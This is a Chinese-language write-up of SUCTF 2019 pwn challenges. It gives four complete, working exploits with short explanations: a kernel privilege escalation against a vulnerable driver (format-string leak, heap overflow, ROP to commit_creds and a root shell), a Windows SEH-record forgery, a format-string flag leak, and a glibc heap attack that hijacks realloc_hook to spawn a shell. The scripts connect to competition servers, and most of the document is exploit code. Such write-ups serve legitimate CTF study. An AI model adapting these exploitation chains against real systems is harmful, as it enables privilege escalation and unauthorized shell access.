SUCTF 2019 PWN

作者: Kirin_say | 来源:发表于2019-08-19 21:17 被阅读73次
    Venom
    My Solve in this GAME:

    0x01 sudrv

    qemu:

    #! /bin/sh
    
    qemu-system-x86_64 \
    -m 128M \
    -kernel ./bzImage \
    -initrd  ./rootfs.cpio \
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 kaslr" \
    -monitor /dev/null \
    -nographic 2>/dev/null \
    -smp cores=2,threads=1 \
    -cpu kvm64,+smep
    

    开启了kalsr和smep保护
    init:

    #!/bin/sh
    mkdir /tmp
    mount -t proc none /proc
    mount -t sysfs none /sys
    mount -t debugfs none /sys/kernel/debug
    mount -t tmpfs none /tmp
    mknod -m 622 console c 5 1
    mknod -m 622 tty0 c 4 0
    insmod sudrv.ko
    mknod /dev/meizijiutql c 233 0
    chmod 666 /dev/meizijiutql
    mdev -s
    sysctl kernel.dmesg_restrict=0
    # echo "7 7 7 7" > /proc/sys/kernel/printk
    setsid /bin/cttyhack setuidgid 1000 /bin/sh
    # /bin/sh
    

    内核会加载驱动sudrv.ko,且printk会输出至控制台
    很显然驱动里有两处漏洞:
    格式化字符串:

    .text.unlikely:00000000000000B8 sudrv_ioctl_cold_2 proc near            ; CODE XREF: sudrv_ioctl+62↑j
    .text.unlikely:00000000000000B8                 call    printk          ; PIC mode
    .text.unlikely:00000000000000BD
    .text.unlikely:00000000000000BD loc_BD:                            
    

    堆溢出

    .text:0000000000000000 sudrv_write     proc near
    .text:0000000000000000                 mov     rdi, cs:su_buf
    .text:0000000000000007                 call    copy_user_generic_unrolled ; PIC mode
    .text:000000000000000C                 test    eax, eax
    .text:000000000000000E                 jz      sudrv_write_cold_1
    .text:0000000000000014                 mov     rax, 0FFFFFFFFFFFFFFFFh
    .text:000000000000001B                 retn</pre>
    

    起初我想的是堆喷分配大量cred到buf附近完成提权
    但是cred分配时候使用的是cred_jar,与kmalloc分配的地址不同
    没有办法直接覆盖
    而后想了第二个思路:kmalloc(0x100)分配地址里很容易在&heap+0x80处存在一个cred固定偏移的地址,可以先利用printk leak这个地址,而后类似利用fastbin attack,利用堆溢出将下一个堆的fd指向预测的cred地址完成提权,不过由于比较随机,只在本地成功过几次
    而后就是第三个思路,比较稳定:相邻内核操作之间栈地址偏移固定,可以先用格式化字符串漏洞leak一个栈地址,并leak出内核加载基址,而后利用堆溢出覆盖FD分配堆到write的返回地址,在write的时候构造rop链覆盖自己的返回地址来调用commit_creds(prepare_kernel_cred(0))完成提权,而后返回用户态get shell,起初一直ireq回用户态总是会在返回时运行一步即会crash,而后选择sysret成功返回用户态,不过直接返回到system运行几步会crash(和ireq时不同,这里可以正常运行一段),选择使用signal(SIGSEGV, shellcode),并在sysret时候设置rcx为0来使rip=0造成段错误来最后get shell(ireq回用户态出现crash时用signal也可以最后成功)。

    My EXP:

    //第三种思路
    #define _GNU_SOURCE
    #include <stdio.h>
    #include <string.h>
    #include <unistd.h>
    #include <stdlib.h>
    #include <sched.h>
    #include <errno.h>
    #include <pty.h>
    #include <sys/mman.h>
    #include <sys/socket.h>
    #include <sys/types.h>
    #include <sys/stat.h>
    #include <sys/syscall.h>
    #include <fcntl.h>
    #include <sys/ioctl.h>
    #include <sys/ipc.h>
    #include <sys/sem.h>
    #include <signal.h>
    #define KERNCALL __attribute__((regparm(3)))
    
    void ( * commit_creds )(void *) KERNCALL ;
    size_t* (* prepare_kernel_cred)(void *) KERNCALL ;
    long int magic1;
    long int magic2;
    void shellcode(){ 
        system("/bin/sh"); 
    }
    
    void new(int fd,int size){
         ioctl(fd,0x73311337,size);
    }
    void  out(int fd){
          ioctl(fd,0xdeadbeef);
    }
    void  delete(int fd){
        ioctl(fd,0x13377331);
    }
    void getroot(){
        commit_creds= magic2+0xffffffff81081790-0xffffffff811c827f;
        prepare_kernel_cred =magic2+0xffffffff81081410-0xffffffff811c827f;  
        size_t cred = prepare_kernel_cred(0);
        commit_creds(cred);
    }
    unsigned long user_cs, user_ss, user_eflags,user_sp ;
    void save_status() {
        asm(
            "movq %%cs, %0\n"
            "movq %%ss, %1\n"
            "movq %%rsp, %3\n"
            "pushfq\n"
            "popq %2\n"
            :"=r"(user_cs), "=r"(user_ss), "=r"(user_eflags),"=r"(user_sp)
            :
            : "memory"
        );
    }
    
    int main(){
       save_status();
       signal(SIGSEGV, shellcode);
       long int buf[0x2000];
       memset(buf,0,sizeof(buf));
       int fd=open("/dev/meizijiutql",1);
       new(fd,0x100);
       write(fd,"%llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx %llx ",100);
       out(fd);
       out(fd);
    //0xffffc9000018bed8
    //0xffffc9000018be50
    //please input stack_addr && kernel_addr leaked
       scanf("%lx %lx",&magic1,&magic2);
       buf[30]=0x800000;
       buf[31]=0xffffffffffffffff;
       buf[32]=magic1-0x88;
       new(fd,0x100);
       write(fd,buf,0x120);
       new(fd,0x100);
       new(fd,0x100);
       buf[0]=magic2+0xffffffff81001388-0xffffffff811c827f;//commit_creds(prepare_kernel_cred(0))
       buf[1]=0;
       buf[2]=magic2+0xffffffff81081790-0xffffffff811c827f;
       buf[3]=magic2+0xffffffff819e2959-0xffffffff811c827f;
       buf[4]=magic2+0xffffffff81081410-0xffffffff811c827f;
       buf[5]=buf[0];
       buf[6]=0x6f0;
       buf[7]=magic2+0xffffffff8104e5b1-0xffffffff811c827f;//close smep(useless)
       buf[8]=magic2+0xffffffff810674ff-0xffffffff811c827f;//set rcx=0
       buf[9]=0;
       buf[10]=magic2+0xffffffff81a000e1-0xffffffff811c827f;//pop...pop...swapgs;sysret
       buf[11]=0;
       buf[12]=1;
       buf[13]=user_sp;
       buf[14]=0x401c60;
       buf[15]=user_sp;
       buf[16]=0x400418;
       buf[17]=user_eflags;
       buf[18]=shellcode;
       buf[19]=0x6d7f98;
       buf[20]=shellcode;
       buf[21]=shellcode;
       buf[22]=0x100;
       buf[23]=0x73311337;
       buf[24]=1;
       buf[25]=user_sp;
       buf[26]=7;
       buf[27]=shellcode;
       buf[28]=user_cs;
       buf[29]=user_eflags;
       buf[30]=user_sp;
       buf[31]=user_ss;
       write(fd,buf,280);
    }
    //gcc ./exp.c -o exp --static
    
    PWN

    0x02 BabyStack

    首先注意到主程序会decode hex,而后:

     .text:00BA854C                 call    loc_BA8552
    .text:00BA854C ; 
    .text:00BA8552 loc_BA8552:                             ; CODE XREF: sub_BA83E0:loc_BA854C↑j
    .text:00BA8552                 pop     eax
    .text:00BA8553                 mov     esi, [ebp+var_2C]
    .text:00BA8556                 sub     esi, eax
    .text:00BA8558                 div     esi
    

    当造成除零错误即会根据 CPPEH_RECORD结构体转去执行:

    .rdata:00C1ACE0 stru_C1ACE0     dd 0FFFFFFE4h           ; GSCookieOffset
    .rdata:00C1ACE0                                         ; DATA XREF: sub_BA83E0+5↑o
    .rdata:00C1ACE0                 dd 0                    ; GSCookieXOROffset ; SEH scope table for function 4083E0
    .rdata:00C1ACE0                 dd 0FFFFFFC0h           ; EHCookieOffset
    .rdata:00C1ACE0                 dd 0                    ; EHCookieXOROffset
    .rdata:00C1ACE0                 dd 0FFFFFFFEh           ; ScopeRecord.EnclosingLevel
    .rdata:00C1ACE0                 dd offset loc_BA8583    ; ScopeRecord.FilterFunc
    .rdata:00C1ACE0                 dd offset loc_BA8589    ; ScopeRecord.HandlerFunc
    

    中的函数
    而后就有了几次任意地址读且栈溢的机会,因此直接在任意地址读时读取伪造CPPEH_RECORD需要的其他信息(cookie等),而后伪造CPPEH_RECORD中ScopeTable^___security_cookie指向我们在栈中伪造的结构体(同时注意在栈中绕过___security_cookie检查),而后即可在任意地址读时读一个非法地址造成错误转而指向
    我们伪造结构体中的函数,注意到有一处:

    .text:00DE8266                 push    offset aTypeFlagTxt ; "type flag.txt"
    .text:00DE826B                 call    system
    .text:00DE8270                 add     esp, 4
    

    指向此即可最后get flag
    PS:我的调试方法:在windows端socat一个cmd,而后linux端连接,输入./BabyStack.exe,而后pwntools交互,在windows端attach即可

    from pwn import *
    import time
    context.log_level="debug"
    p=remote("121.40.159.66",6666)
    #p.sendlineafter("1234>","BabyStack.exe")
    p.recvuntil("stack address = ")
    stack_addr=int(p.recvuntil("\n").strip(),16)
    p.recvuntil("= ")
    main_addr=int(p.recvuntil("\n").strip(),16)
    print hex(stack_addr),hex(main_addr)
    code1=hex(main_addr+0x1018551-0x101395E)[2:].upper().rjust(8,"0")
    p.sendlineafter("\r\n",code1)
    p.sendlineafter("\r\n","yes")
    p.sendlineafter("\r\n",str(main_addr+0x108C004-0x101395E))
    p.recvuntil("is ")
    cookie=int(p.recvuntil("\n"),16)
    print hex(cookie)
    p.sendlineafter("\r\n","yes")
    p.sendlineafter("\r\n",str(stack_addr+0x98FE70-0x98FEA8))
    p.recvuntil("is ")
    magic1=int(p.recvuntil("\r\n"),16)
    p.sendlineafter("\r\n","yes")
    p.sendlineafter("\r\n",str(stack_addr+0x98FE70-0x98FEA8+4))
    p.recvuntil("is ")
    magic2=int(p.recvuntil("\r\n"),16)
    p.sendlineafter("\r\n","yes")
    p.sendlineafter("\r\n",str(stack_addr+0x98FE70-0x98FEA8+8))
    p.recvuntil("is ")
    magic3=int(p.recvuntil("\r\n"),16)
    p.sendlineafter("\r\n","yes")
    p.sendlineafter("\r\n",str(stack_addr+0x12FFCC8-0x12FFD04))
    p.recvuntil("is ")
    magic4=int(p.recvuntil("\r\n"),16)
    addr=stack_addr+0x98FDE0-0x98FEA8
    payload="aaaa"+p32(0xffffffe4)+p32(0)+p32(0xffffff0c)+p32(0)+p32(0xfffffffe)+p32(main_addr+0x1018266-0x101395E)*2+p32(magic4)*29+p32(magic1)+p32(magic2)+p32(magic3)+p32(main_addr+0x1019A30-0x101395E)+p32(cookie^addr)+p32(0)
    #time.sleep(20)
    p.sendlineafter("\r\n","kirin")
    #time.sleep(20)
    p.sendline(payload)
    p.sendlineafter("more?\r\n","yes")
    p.sendlineafter("?\r\n","kirin")
    p.interactive()
    

    0x03 playfmt

    格式化字符串漏洞且读取的flag在堆上
    格式化字符串在全局变量
    直接修改一个栈内指向另一个栈内指针的指针即可将一个指针指向堆指针处
    而后再修改低字节指向&flag,%s即得flag

    from pwn import *
    
    context.log_level="debug"
    #p=process("./playfmt")
    p=remote("120.78.192.35",9999)
    p.recvuntil("=\n")
    p.sendlineafter("=\n","%6$lx")
    s="0x"+p.recvuntil("\n")
    stack_addr=int(s.strip(),16)
    print hex(stack_addr)
    stack2=stack_addr+0xFFFFCF28-0xffffcef8-0x20
    p.sendline("%"+str(stack2&0xff)+"c%6$hhn")
    p.sendline("%16c%14$hhn")
    p.sendline("%18$s")
    p.interactive()
    

    0x04 二手破电脑

    程序在添加note时scanf存在off by null
    利用off by null构造unlink,造成堆重叠,然后即可leak堆和libc地址
    因为32位各种hook的周围合法地址只有"0xff"(32位程序高地址0xFF)
    所以选择unsored bin attack覆盖global_max_fast即可成功将fastbin分配到realloc hook周围
    而后fastbin attack修改realloc hook为system,在edit过程即可执行system("/bin/sh")来get shell

    from pwn import *
    
    context.log_level="debug"
    def add(l,note,prize):
      p.sendlineafter(">>> ","1") 
      p.sendlineafter(": ",str(l))
      p.sendafter(": ",note)
      p.sendlineafter(": ",str(prize))
    def comment(index,note,score):
      p.sendlineafter(">>> ","2") 
      p.sendlineafter(": ",str(index))
      p.sendafter(": ",note)
      p.sendlineafter(": ",str(score))
    def delete(index):
      p.sendlineafter(">>> ","3") 
      p.sendlineafter(": ",str(index))
      p.recvuntil("Comment ")
      s=p.recvuntil("1.")
      return s
    def edit(index,note,power=0,serial=""):
      p.sendlineafter(">>> ","4") 
      p.sendlineafter(": ",str(index))
      p.send(note)
      if power:
         p.sendlineafter(")","y")
         p.sendafter("serial: ",serial)
      else: 
         p.sendlineafter(")","n")
    #p=process("./pwn")
    p=remote("47.111.59.243",10001)
    add(0x14,"a"*0x13+"\n",0)
    comment(0,"bbbb",12)
    add(0x14,"cccc\n",1)
    delete(0)
    comment(1,"b",12)
    libc_addr=u32(delete(1)[0:4])+0xf7dfa000-0xf7fac762+0x2000
    print hex(libc_addr)
    #gdb.attach(p)
    add(0x14,"aaaaaa\n",0)
    add(0xfc,"ddddddd\n",1)
    add(0x14,"eeee\n",2)
    delete(0)
    add(0x14,"a"*0x14,0)
    delete(0)
    for i in range(5):
      add(0x14,"a"*(0x14-i-1)+"\n",0)
      delete(0)
    add(0x14,"a"*16+"\xa8"+"\n",0)
    delete(1)
    add(0x24,"aaaaaa\n",0)
    comment(2,"2"*84,0)
    s=delete(2)
    heap_addr=u32(s[84:84+4])
    print hex(heap_addr)
    add(0x14,"a\n",0)
    comment(1,"1"*72+p32(0)+p32(0x19)+p32(heap_addr++0x2c8)+p32(heap_addr)+p32(0)*2+p32(0)+p32(0x91),0)
    comment(2,p32(0)*24+p32(0)+p32(0x19)+"a"*16+p32(0)+p32(0x19),1)
    add(0xec,"a\n",0)
    add(0xec,"a\n",0)
    add(0xec,"a\n",0)
    add(0x14,"a\n",0)
    delete(0)
    delete(2)
    comment(3,p32(0)*9+p32(0x91)+p32(libc_addr-0xf7e1f000+0xf7fcf7b0)+p32(libc_addr+0x1b18e0-0x8),0)
    comment(4,"4444",0)
    add(0x14,"a\n",0)
    add(0x14,p32(heap_addr+0x2e0)+p32(heap_addr+0x1d8)+"\n",0)
    delete(5)
    delete(4)
    delete(6)
    #gdb.attach(p)
    add(0xec,p32(libc_addr+0xf7fcf743+8-0xf7e1f000)+"\n",1)
    add(0xec,p32(libc_addr+0xf7fcf743+8-0xf7e1f000)+"\n",1)
    add(0xec,"/bin/sh\n",1)
    add(0xec,"a"*17+p32(libc_addr+0x3a940)+"\n",1)
    print hex(libc_addr)
    #gdb.attach(p)
    p.interactive()
    

    相关文章

      网友评论

        本文标题:SUCTF 2019 PWN

        本文链接:https://www.haomeiwen.com/subject/hbpudctx.html